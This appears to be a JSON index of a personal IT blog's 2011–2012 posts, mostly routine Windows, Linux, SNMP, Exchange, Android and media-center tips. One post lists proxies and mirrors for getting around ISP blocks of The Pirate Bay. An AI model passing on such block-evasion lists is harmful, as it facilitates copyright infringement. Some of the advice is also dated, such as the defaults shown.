activate windows after changing the key, type: slmgr.vbs -ato ","permalink":"https://blog.wapnet.nl/2012/03/windows-7-error-cant-activate-0x8007007b/","summary":"\u003cp\u003eAfter a clean windows 7 installation with \u003ca href=\"/2012/01/easiest-way-to-install-windows-bartpe-xp-2003-vista-7-or-8-on-a-usb-flash-drive/\" title=\"Easiest way to install Windows BartPE, XP, 2003, Vista, 7 or 8 on a USB flash drive\"\u003eNovicorp WintoFlash\u003c/a\u003e of  could not activate correctly. I\u0026rsquo;ll get error the error: 0x8007007B\u003c/p\u003e\n\u003cp\u003eThe easiest way to fix this problem is re-register the Windows key with the following steps:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eClick on the Start Button and type: \u003cstrong\u003eCMD\u003c/strong\u003e(into the \u0026lsquo;Search programs and files\u0026rsquo; field in the Start Menu)\u003c/li\u003e\n\u003cli\u003eThe Start Menu will show \u0026lsquo;CMD.exe\u0026rsquo;,\u003c/li\u003e\n\u003cli\u003eRight-click the CMD.exe file and select Run As Administrator.\u003c/li\u003e\n\u003cli\u003eIn the CMD window, type: \u003cstrong\u003eslmgr.vbs -ipk \u003ctype your product key here\u003e\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eTo activate windows after changing the key, type: \u003cstrong\u003eslmgr.vbs -ato\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"Windows 7 error can't activate 0x8007007B"},{"content":"If you want to know what a specific SNMP value must be, snmpwalk is your friend :)\nsnmpwalk -v1 -c -On 1.3\nDownload SNMPWALK for windows\n","permalink":"https://blog.wapnet.nl/2012/03/troubleshoot-snmp/","summary":"\u003cp\u003eIf you want to know what a specific SNMP value must be, snmpwalk is your friend :)\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003esnmpwalk -v1 -c \u003cem\u003e\u003csnmp community name\u003e\u003c/em\u003e -On \u003cem\u003e\u003cip server\u003e\u003c/em\u003e 1.3\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"http://www.snmpsoft.com/freetools/snmpwalk.html\"\u003eDownload SNMPWALK for windows\u003c/a\u003e\u003c/p\u003e","title":"Troubleshoot SNMP"},{"content":"Error:\nMicrosoft Exchange could not find a certificate that contains the domain name exchange.global-e.nl in the personal store on the local computer. Therefore, it is unable to support the STARTTLS SMTP verb for the connector Outbound Ex 2010 with a FQDN parameter of exchange.global-e.nl. If the connector\u0026rsquo;s FQDN is not specified, the computer\u0026rsquo;s FQDN is used. Verify the connector configuration and the installed certificates to make sure that there is a certificate with a domain name for that FQDN. If this certificate exists, run Enable-ExchangeCertificate -Services SMTP to make sure that the Microsoft Exchange Transport service has access to the certificate key.\nCause:\nProblem is that you have configured a wrong (not matching) SSL certificate on your send/recieve connector.\nFix:\nStart the Exchange Powershell Get-ExchangeCertificate Copy the good thumbprint Enable-ExchangeCertificate -Services SMTP Paste the good thumbprint More information:\nhttp://blog.ronnypot.nl/?p=271 http://smtpport25.wordpress.com/2009/03/19/renewing-the-certificate-in-client-access-servers/\n","permalink":"https://blog.wapnet.nl/2012/02/fix-starttls-smtp-error/","summary":"\u003cp\u003e\u003cstrong\u003eError:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eMicrosoft Exchange could not find a certificate that contains the domain name exchange.global-e.nl in the personal store on the local computer. Therefore, it is unable to support the STARTTLS SMTP verb for the connector Outbound Ex 2010 with a FQDN parameter of exchange.global-e.nl. If the connector\u0026rsquo;s FQDN is not specified, the computer\u0026rsquo;s FQDN is used. Verify the connector configuration and the installed certificates to make sure that there is a certificate with a domain name for that FQDN. If this certificate exists, run Enable-ExchangeCertificate -Services SMTP to make sure that the Microsoft Exchange Transport service has access to the certificate key.\u003c/p\u003e","title":"Fix  STARTTLS SMTP error"},{"content":"Today my mother calls me that she had some battery drain issue\u0026rsquo;s on her HTC Desire Android phone. Because she had an older stock ROM not all battery and cpu options where available. After some phone troubleshooting I found the cause.\nFirst go the the android marked and download the app: Quick System Info Pro. Start the app scroll down a little and press battery The press Battery History Press Other Usage and press CPU usage Now you can see the program who sucks the live of your battery My mother her phone was AKMD at the top of her list (34%). After a quick google search this was her phone \u0026ldquo;G-Sensor\u0026rdquo;. I kill the rotate function and then the problem was fixed by a nasty workaround ;-)\n","permalink":"https://blog.wapnet.nl/2012/02/android-troubleshoot-battery-drain-problem/","summary":"\u003cp\u003eToday my mother calls me that she had some battery drain issue\u0026rsquo;s on her HTC Desire Android phone. Because she had an older stock ROM not all battery and cpu options where available. After some phone troubleshooting I found the cause.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFirst go the the android marked and download the app: \u003ca href=\"https://market.android.com/details?id=org.uguess.android.sysinfo.pro\"\u003e\u003cstrong\u003eQuick System Info Pro\u003c/strong\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eStart the app scroll down a little and press battery\u003c/li\u003e\n\u003cli\u003eThe press Battery History\u003c/li\u003e\n\u003cli\u003ePress Other Usage  and press CPU usage\u003c/li\u003e\n\u003cli\u003eNow you can see the program who sucks the live of your battery\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2012/02/export.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2012/02/export.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Android Troubleshoot Battery Drain Problem"},{"content":"[banner] XS4ALL and Ziggo block my favorite torrent site :(\nTry This (dutch): http://www.ikwilthepiratebay.nl\n-or-\nhttp://malaysiabay.org/\n-or-\nThis http://www.alwaysapirate.org/index.php and type http://thepiratebay.se/\n-or-\nThis: http://thepiratebay.se.proxy.piratenpartij.nl/ \u0026lt; temp down\u0026hellip; :(\n-or-\nHere you can find some a alterative proxies: http://hidemyass.com/?http://www.thepiratebay.org\nAnd click on the yellow url\nAnd then on the yellow hide my ass button:\nhttp://depiratebay.nl/http://tpb.makinit.nl/http://thepiratebay2.nl/http://www.anti-brein.nl/piratebay/http://tpb.dehomies.nl/http://anonymouse.org/cgi-bin/anon-www.cgi/http://thepiratebay.se/\nAnd do you want to run a mirror on your own wordpress blog check repress: http://wordpress.org/extend/plugins/repress/ [banner]\n","permalink":"https://blog.wapnet.nl/2012/02/the-pirate-bay-mirrors/","summary":"\u003cp\u003e[banner]\nXS4ALL and Ziggo block my favorite torrent site :(\u003c/p\u003e\n\u003cp\u003eTry This (dutch): \u003ca href=\"http://www.ikwilthepiratebay.nl\"\u003ehttp://www.ikwilthepiratebay.nl\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e-or-\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://malaysiabay.org/\"\u003ehttp://malaysiabay.org/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e-or-\u003c/p\u003e\n\u003cp\u003eThis \u003ca href=\"http://www.alwaysapirate.org/index.php\"\u003ehttp://www.alwaysapirate.org/index.php\u003c/a\u003e and type \u003ca href=\"http://thepiratebay.se/\"\u003ehttp://thepiratebay.se/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e-or-\u003c/p\u003e\n\u003cp\u003eThis: \u003ca href=\"http://thepiratebay.se.proxy.piratenpartij.nl/\"\u003ehttp://thepiratebay.se.proxy.piratenpartij.nl/\u003c/a\u003e \u0026lt; temp down\u0026hellip; :(\u003c/p\u003e\n\u003cp\u003e-or-\u003c/p\u003e\n\u003cp\u003eHere you can find some a alterative proxies: \u003ca href=\"http://hidemyass.com/?http://www.thepiratebay.org\"\u003ehttp://hidemyass.com/?http://www.thepiratebay.org\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eAnd click on the yellow url\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2012/02/yellow-piratebay-url.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2012/02/yellow-piratebay-url.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eAnd then on the yellow hide my ass button:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2012/02/web-proxy-url.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2012/02/web-proxy-url.png\"\u003e\u003c/a\u003e\u003ca href=\"http://depiratebay.nl/\"\u003ehttp://depiratebay.nl/\u003c/a\u003e\u003ca href=\"http://tpb.makinit.nl/\"\u003ehttp://tpb.makinit.nl/\u003c/a\u003e\u003ca href=\"http://thepiratebay2.nl/\"\u003ehttp://thepiratebay2.nl/\u003c/a\u003e\u003ca href=\"http://www.anti-brein.nl/piratebay/\"\u003ehttp://www.anti-brein.nl/piratebay/\u003c/a\u003e\u003ca href=\"http://tpb.dehomies.nl/\"\u003ehttp://tpb.dehomies.nl/\u003c/a\u003e\u003ca href=\"http://anonymouse.org/cgi-bin/anon-www.cgi/http://thepiratebay.se/\"\u003ehttp://anonymouse.org/cgi-bin/anon-www.cgi/http://thepiratebay.se/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eAnd do you want to run a mirror on your own wordpress blog check repress: \u003ca href=\"http://wordpress.org/extend/plugins/repress/\"\u003ehttp://wordpress.org/extend/plugins/repress/\u003c/a\u003e\n[banner]\u003c/p\u003e","title":"The Pirate Bay Mirrors"},{"content":"Be careful so do a backup of the snmpd config file.\n[root@linux ~]# mv /etc/snmp/snmpd.conf /etc/snmp/snmpd.conf.org Create a new config file.\n[root@linux ~]# nano /etc/snmp/snmpd.conf rocommunity public IPMonitorServer syslocation \u0026#34;Webserver, WAPNET\u0026#34; syscontact some@email.com Start the snmpd service and set the snmp stratup at boot on\n[root@linux ~]# /etc/init.d/snmpd start [root@linux ~]# chkconfig snmpd on ","permalink":"https://blog.wapnet.nl/2012/01/configure-snmp-linux/","summary":"\u003cp\u003eBe careful so do a backup of the snmpd config file.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@linux ~]# mv /etc/snmp/snmpd.conf /etc/snmp/snmpd.conf.org\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eCreate a new config file.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@linux ~]# nano /etc/snmp/snmpd.conf\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003erocommunity  public IPMonitorServer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esyslocation  \u0026#34;Webserver, WAPNET\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esyscontact  some@email.com\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eStart the snmpd service and set the snmp stratup at boot on\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@linux ~]# /etc/init.d/snmpd start\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@linux ~]# chkconfig snmpd on\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Configure SNMP Linux"},{"content":"You need:\nA 1GB USB stick for Windows xp or 2GB for higher os A Windows OS to run the tool The tool Novicorp WintoFlash (tool is multilanguage) a Windows installation CD or extracted installation directory Steps:\nExtract the WintoFlash tool Start the tool Follow the wizard Set source (Windows installation files or CD) Now complete the wizard and your stick is ready for use Now you NEVER need a stupid CD anymore for Windows installation purposes :)\nNote: if you have some trouble with the windows activation try these steps\n","permalink":"https://blog.wapnet.nl/2012/01/easiest-way-to-install-windows-bartpe-xp-2003-vista-7-or-8-on-a-usb-flash-drive/","summary":"\u003cp\u003eYou need:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eA 1GB USB stick  for Windows xp or 2GB for higher os\u003c/li\u003e\n\u003cli\u003eA Windows OS to run the tool\u003c/li\u003e\n\u003cli\u003eThe tool \u003ca href=\"http://wintoflash.com/download/en/\"\u003eNovicorp WintoFlash\u003c/a\u003e (tool is multilanguage)\u003c/li\u003e\n\u003cli\u003ea Windows installation CD or extracted installation directory\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSteps:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eExtract the WintoFlash tool\u003c/li\u003e\n\u003cli\u003eStart the tool\u003c/li\u003e\n\u003cli\u003eFollow the wizard\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/wp-content/uploads/2012/01/wizard1.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2012/01/wizard1.jpg\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet source (Windows installation files or CD)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/wp-content/uploads/2012/01/wizard2.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2012/01/wizard2.jpg\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNow complete the wizard and your stick is ready for use\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eNow you NEVER need a stupid CD anymore for Windows installation purposes :)\u003c/p\u003e","title":"Easiest way to install Windows BartPE, XP, 2003, Vista, 7 or 8 on a USB flash drive"},{"content":"1. Type “about:config “ in the address bar and press enter proceed by agreeing to the warning. 2. Double-click on browser.urlbar.trimURLs preference to turn its value to false.\n","permalink":"https://blog.wapnet.nl/2011/12/show-http-prefix-in-firefox-url-bar/","summary":"\u003cp\u003e1. Type “about:config “ in the address bar and press enter proceed by agreeing to the warning.\n2. Double-click on browser.urlbar.trimURLs preference to turn its value to false.\u003c/p\u003e","title":"Show http:// prefix in Firefox URL bar"},{"content":"Locate is a great unix/linux util that you can use for fast file searching.\nenable locate (search command database) this takes 10 minutes the first ime. But it is a background process.\nsudo launchctl load -w /System/Library/LaunchDaemons/com.apple.locate.plist\nUpdatedb (search db)\nsudo /usr/libexec/locate.updatedb\nfind a specific file\nlocate file\n","permalink":"https://blog.wapnet.nl/2011/12/locate-command-for-osx/","summary":"\u003cp\u003eLocate is a great unix/linux util that you can use for fast file searching.\u003c/p\u003e\n\u003cp\u003eenable locate (search command database) this takes 10 minutes the first ime. But it is a background process.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003esudo launchctl load -w /System/Library/LaunchDaemons/com.apple.locate.plist\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eUpdatedb (search db)\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003esudo /usr/libexec/locate.updatedb\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003efind a specific file\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003elocate file\u003c/p\u003e\n\u003c/blockquote\u003e","title":"locate command for OSX"},{"content":"Earlier I wrote an article how to build a cheap XBMC media center with a XBOX1. But nowadays you want a high definition media center and XVID and DIVX isn\u0026rsquo;t acceptable anymore on your full HD television. So I read a lot of information how to make an nice media streamer like the popcorn hour, ac rayon and xstreamer but then highly customizable .\nI choose for XBMC because it is highly customizable and there are tons of addons, plugins, script, skins, fanart, visualizations. XBMC is a media streamer so it\u0026rsquo;s recommended that all your downloaded music, photo\u0026rsquo;s, tv series and movies are on a NAS (network attached storage) device. If you want there are NZB and torrent plugins and you can download the software to the local disk but I don\u0026rsquo;t use any of these methods. XBMC is also in almost every language and the GUI for normal use is girlfriend, wife and kids friendly ;)\nBecause the software is highly customizable and it\u0026rsquo;s always in development you get sometimes some unstable situations when you change some config settings. I can live with that but if you want a very stable product maybe you can better look further to an out-of-the-box product like the AC Ryan.\nAlso the software isn\u0026rsquo;t for noobs. If you don\u0026rsquo;t like to spent hours to tweaking the software how YOU want it please buy a product like the Popcorn Hour or AC Ryan that isn\u0026rsquo;t customizable.\nBut for normal use the software is stable and you will very often surprised by the tricks and the nice performance of the XBMC.\nXBMC is open source and cross platform. There are official builds for OSX, Windows, Linux, iPAD, Apple TV and more ports still coming. The build I choose is OpenELEC. I choose for OpenELEC because that is an embedded linux distribution optimized for XBMC only. The software is compiled for all the common hardware platforms. The boot time is 30 seconds with SD (with SSD 5 sec) and the installation is very easy and I explain here how you can install the XBMC OpenELEC software.\nThe hardware I use is a Zotac ZBOX ID41, 2 GB RAM (Kingston ValueRAM KVR1333D3S9/2G) and a 4GB SD class 2 card. If you have an Android or Apple smartphone (or tablet) you can download the \u0026ldquo;XBMC remote\u0026rdquo; app for remote. So you don\u0026rsquo;t need to buy a remote. Total costs 200,- euro. That is very cheap for a full hd media center :)\nWhat do you need to build this system:\nZotac ZBOX 2 GB of RAM 4GB SD card Tabled or smartphone for remote (xbmc remote app installed) 256mb or higher USB stick for the installation OpenELEC ION x86_64 build (link) HDMI cable USB keyboard Putty UTP Network cable and network connection (wireless also supported) Hardware: Unboxed: First you need to do is build in the RAM. You can loosen the screws just with your hands.\nNow open the cover Build in the memory and *click* Close the cover and connect the ZBOX with the HDMI cable to the TV\nTurn on the ZBOX to see if you get a boot error (and the memory is working correctly) Ok, now we create the bootable OpenELEC USB stick to install the software. Because these steps are very good\ndocumented by OpenELEC please follow these steps: http://openelec.tv/find-help/documentation/installation\nNow insert the SD card, USB stick and the keyboard into the Zotac ZBOX and press the power button. The setup will start.\nSetup:\nPress ok and then quick install\nChoose the SD card and then OK\nNow the setup will start. This will take 3 minutes.\nAfter the setup is done you can restart the device. The first time boot takes 2 minutes and than you have the most EPIC Media Center you can have:\nNow you must install 2 fixes. One for the sound over HDMI and one to fix the splash screen.\nFor both fixes you need putty and a little linux knowledge. Open the system preferences to see the IP adres. (If you use wireless please configure this first).\nNow connect with putty. User \u0026ldquo;root\u0026rdquo;, password is \u0026quot; openelec\u0026quot; and apply the fixes. After you applied the fixes with SSH/Putty you can change the sound settings within XBMC. But if you don\u0026rsquo;t it work also :P\nBye bye good old XBOX. After eight years of loyal service, I will miss you ;-)\nI hope you enjoyed this review if you have some questions feel free to ask :)\nXBMC / OpenELEC Features\nXBMC Remote and how to configure\n","permalink":"https://blog.wapnet.nl/2011/12/build-your-own-xbmc-htpc-media-center/","summary":"\u003cp\u003eEarlier I wrote an \u003ca href=\"/2010/04/howto-build-the-cheapest-xbmc-high-definition-media-center-ever-a-k-a-xbox1-softmod/\" title=\"Howto: Build the cheapest XBMC High Definition media center ever a.k.a. XBOX1 Softmod\"\u003earticle\u003c/a\u003e how to build a cheap XBMC media center with a XBOX1. But nowadays you want a high definition media center and XVID and DIVX isn\u0026rsquo;t acceptable anymore on your full HD television. So I read a lot of information how to make an nice media streamer like the popcorn hour, ac rayon and xstreamer but then highly customizable .\u003c/p\u003e","title":"Build your own embedded XBMC HTPC"},{"content":"I have an HTC Desire phone. I like the phone but there is one big problem; the NAND (internal storage) is way to small. I installed a lot of ROM\u0026rsquo;s but the last time I install Cyanogenmod 7.1 with the \u0026ldquo;Launcher 7\u0026rdquo; and I did a lot of customization I don\u0026rsquo;t want to reinstall my phone.\nThere is an crappy android workaround to move some of your apps to the SD card but when you connect/mount your phone to your pc you cannot start these apps and if you disconnect some of the settings are ruined.\nSo I searched the internet and read a lot of articles to find the best method to repartition my SD card and move the application and dalvik cache to my SD card. So I wrote this tutorial so you can move all the apps to your phone without any data loss also.\nWhat do you need:\nCyanogenmod 7 S2E (free on the android marked) App 2 SD free (android marked) Linux operating system with Gparted or Gparted live CD The steps\nShutdown the phone and put out your SD card Make a backup of your SD card Run GParted and make a primary FAT32 partiton and 1 GB (or more) EXT3 partition. Because I have an 16GB SD card I make a 2GB EXT3 partition. You can check a Gparted youtube tutorial here: http://www.youtube.com/watch?v=6z1Tu9l8WNc Now copy your backup back to the SD card and place the SD in to the phone Start the phone and start S2E Select Applications, Dalvik cache and Download cache Press the menu button and reboot the phone Have some patience now (5min-10min) Now start the phone and start apps 2 sd Press the \u0026ldquo;On SD Card\u0026rdquo; tab, press menu and press move all apps Now press on the move to phone button for every app you haved placed to the SD card. Because you have place the /data/app folder to the EXT3 partition (/sd-ext/app) you do not move the app to your phone but to your EXT3 partition :)\nIf this article helps you, please leave a comment below :)\n","permalink":"https://blog.wapnet.nl/2011/11/cyanogenmod-7-move-all-applications-to-sdcard-without-data-loss/","summary":"\u003cp\u003eI have an HTC Desire phone. I like the phone but there is one big problem; the NAND (internal storage) is way to small. I installed a lot of ROM\u0026rsquo;s but the last time I install Cyanogenmod 7.1 with the \u0026ldquo;Launcher 7\u0026rdquo; and I did a lot of customization I don\u0026rsquo;t want to reinstall my phone.\u003c/p\u003e\n\u003cp\u003eThere is an crappy android workaround to move some of your apps to the SD card but when you connect/mount your phone to your pc you cannot start these apps and if you disconnect some of the settings are ruined.\u003c/p\u003e","title":"Cyanogenmod 7 move all applications to sd card without data loss"},{"content":" tar czvf backup.tar.gz somefoldername/\n","permalink":"https://blog.wapnet.nl/2011/11/linux-backup-a-folder/","summary":"\u003cblockquote\u003e\n\u003cp\u003etar czvf backup.tar.gz somefoldername/\u003c/p\u003e\n\u003c/blockquote\u003e","title":"[linux] Backup a folder"},{"content":"[banner]\nRequirements: - USB Stick - BartPE CD (or BartPE source) - Download Bootable USB-Drive Utility @ http://www.911cd.net/forums//index.php?showtopic=21702 - Download WinUSB_FULL Patcher @ http://www.megaupload.com/?d=AEC0GAMM Steps: 1. Extract Bootable USB-Drive 2. Open Config_SourcePath.cmd 3. REM set SourcePath=\u0026quot;..\\BartPE\u0026quot; 4. set SourceCD=G: where G: the cd-rom drive is with the BartPE CD 5. Start BOOTABLE_USB-DRIVE.cmd 6. Format and create the USB drive 7. Close the utillity en extract de WinUSB_FULL Patcher 8. Run the patcher on the USB drive (root)\nThe patcher patch the ntdetect.com file. When you don\u0026rsquo;t run the patcher you will get a 0x0000007b BSOD when you boot from the BartPE USB.\n[banner]\n","permalink":"https://blog.wapnet.nl/2011/11/create-a-bartpe-bootable-usb-stick/","summary":"\u003cp\u003e[banner]\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eRequirements:\u003c/strong\u003e\n- USB Stick\n- BartPE CD (or BartPE source)\n- Download Bootable USB-Drive Utility @ \u003ca href=\"http://www.911cd.net/forums//index.php?showtopic=21702\"\u003ehttp://www.911cd.net/forums//index.php?showtopic=21702\u003c/a\u003e\n- Download WinUSB_FULL Patcher @ \u003ca href=\"http://www.megaupload.com/?d=AEC0GAMM\"\u003ehttp://www.megaupload.com/?d=AEC0GAMM\u003c/a\u003e \u003cstrong\u003eSteps:\u003c/strong\u003e\n1. Extract Bootable USB-Drive\n2. Open Config_SourcePath.cmd\n3. REM set SourcePath=\u0026quot;..\\BartPE\u0026quot;\n4. set SourceCD=G: where G: the cd-rom drive is with the BartPE CD\n5. Start BOOTABLE_USB-DRIVE.cmd\n6. Format and create the USB drive\n7. Close the utillity en extract de WinUSB_FULL Patcher\n8. Run the patcher on the USB drive (root)\u003c/p\u003e","title":"Create a BartPE bootable USB stick"},{"content":"With Nagios services check you want include all windows services with status automatic. But some services like the .NET or windows installer services stop sometimes and your monitor turns red. If you want to exclude specific services add this config to the NSC.ini file:\nalias_service=checkServiceState CheckAll exclude=sppsvc exclude=someotherservice exclude=ShellHWDetection\n","permalink":"https://blog.wapnet.nl/2011/10/nagios-exclude-specific-services/","summary":"\u003cp\u003eWith Nagios services check you want include all windows services with status automatic. But some services like the .NET or windows installer services stop sometimes and your monitor turns red. If you want to exclude specific services add this config to the NSC.ini file:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003ealias_service=checkServiceState CheckAll  exclude=sppsvc exclude=someotherservice exclude=ShellHWDetection\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Nagios: exclude specific services"},{"content":"Sometimes you need a proxy server and you don\u0026rsquo;t want to install some software. Then you can download and run Proxomitron (zip package). The only thing you must change is the IP address who can connect the proxy.\n","permalink":"https://blog.wapnet.nl/2011/10/quick-proxy-server-no-install-needed/","summary":"\u003cp\u003eSometimes you need a proxy server and you don\u0026rsquo;t want to install some software. Then you can download and run \u003ca href=\"http://www.proxomitron.info/files/index.html\"\u003eProxomitron\u003c/a\u003e (zip package). The only thing you must change is the IP address who can connect the proxy.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2011/10/proxy.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2011/10/proxy.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Quick proxy server (no install needed)"},{"content":"The default Windows defrag software isn\u0026rsquo;t really good. Here you can download a very nice alternative: http://www.auslogics.com/en/software/disk-defrag/download/\nScreenshot:\n","permalink":"https://blog.wapnet.nl/2011/10/free-util-to-defrag-your-windows-server/","summary":"\u003cp\u003eThe default Windows defrag software isn\u0026rsquo;t really good. Here you can download a very nice alternative: \u003ca href=\"http://www.auslogics.com/en/software/disk-defrag/download/\" title=\"download defrag tool\"\u003ehttp://www.auslogics.com/en/software/disk-defrag/download/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eScreenshot:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2011/10/defrag.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2011/10/defrag.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Free util to defrag your windows server"},{"content":"If you get the error \\WINDOWS\\SYSTEM32\\CONFIG\\SYSTEM missing or corrupt you can follow these steps to fix this problem:\nBoot a linux distribution of your choice. I prefer Ubuntu Mount your windows partition If exist rename (or move) the corrupt file \\WINDOWS\\SYSTEM32\\CONFIG\\SYSTEM to \\WINDOWS\\SYSTEM32\\CONFIG\\SYSTEM.old Now open the folder \u0026ldquo;system volume information\\restore (with some numbers)\\RP (with a number)\\snapshot. Copy the file _REGISTRY_MACHINE_SYSTEM to \\WINDOWS\\SYSTEM32\\CONFIG\\_REGISTRY_MACHINE_SYSTEM Rename \\WINDOWS\\SYSTEM32\\CONFIG\\_REGISTRY_MACHINE_SYSTEM to \\WINDOWS\\SYSTEM32\\CONFIG\\SYSTEM Restart the computer and you will see Windows is starting again :) Now point to start \u0026gt; programs \u0026gt; accessories \u0026gt; system tools \u0026gt; system restore Restore your windows a couple of days earlier If you don\u0026rsquo;t restore you windows you must manually fix the file permissions. Everything looks fine but if you see your event viewer you see a lot of (networking) profile troubles.\nYou can do the same trick with\n_REGISTRY_USER_DEFAULT _REGISTRY_MACHINE_SECURITY _REGISTRY_MACHINE_SOFTWARE _REGISTRY_MACHINE_SYSTEM _REGISTRY_MACHINE_SAM\nMS Support article: http://support.microsoft.com/kb/307545 My inspiration for this article: http://forum.computeridee.nl/showthread.php?t=48294 (Dutch)\n","permalink":"https://blog.wapnet.nl/2011/10/winxp-windowssystem32configsystem-missing-or-corrupt/","summary":"\u003cp\u003eIf you get the error \\WINDOWS\\SYSTEM32\\CONFIG\\SYSTEM missing or corrupt you can follow these steps to fix this problem:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2011/10/windows-system-missing-or-corrupt.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2011/10/windows-system-missing-or-corrupt.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eBoot a linux distribution of your choice. I prefer Ubuntu\u003c/li\u003e\n\u003cli\u003eMount your windows partition\u003c/li\u003e\n\u003cli\u003eIf exist rename (or move) the corrupt file \\WINDOWS\\SYSTEM32\\CONFIG\\SYSTEM to \\WINDOWS\\SYSTEM32\\CONFIG\\SYSTEM.old\u003c/li\u003e\n\u003cli\u003eNow open the folder \u0026ldquo;system volume information\\restore (with some numbers)\\RP (with a number)\\snapshot.\u003c/li\u003e\n\u003cli\u003eCopy the file _REGISTRY_MACHINE_SYSTEM to \\WINDOWS\\SYSTEM32\\CONFIG\\_REGISTRY_MACHINE_SYSTEM\u003c/li\u003e\n\u003cli\u003eRename \\WINDOWS\\SYSTEM32\\CONFIG\\_REGISTRY_MACHINE_SYSTEM to \\WINDOWS\\SYSTEM32\\CONFIG\\SYSTEM\u003c/li\u003e\n\u003cli\u003eRestart the computer and you will see Windows is starting again 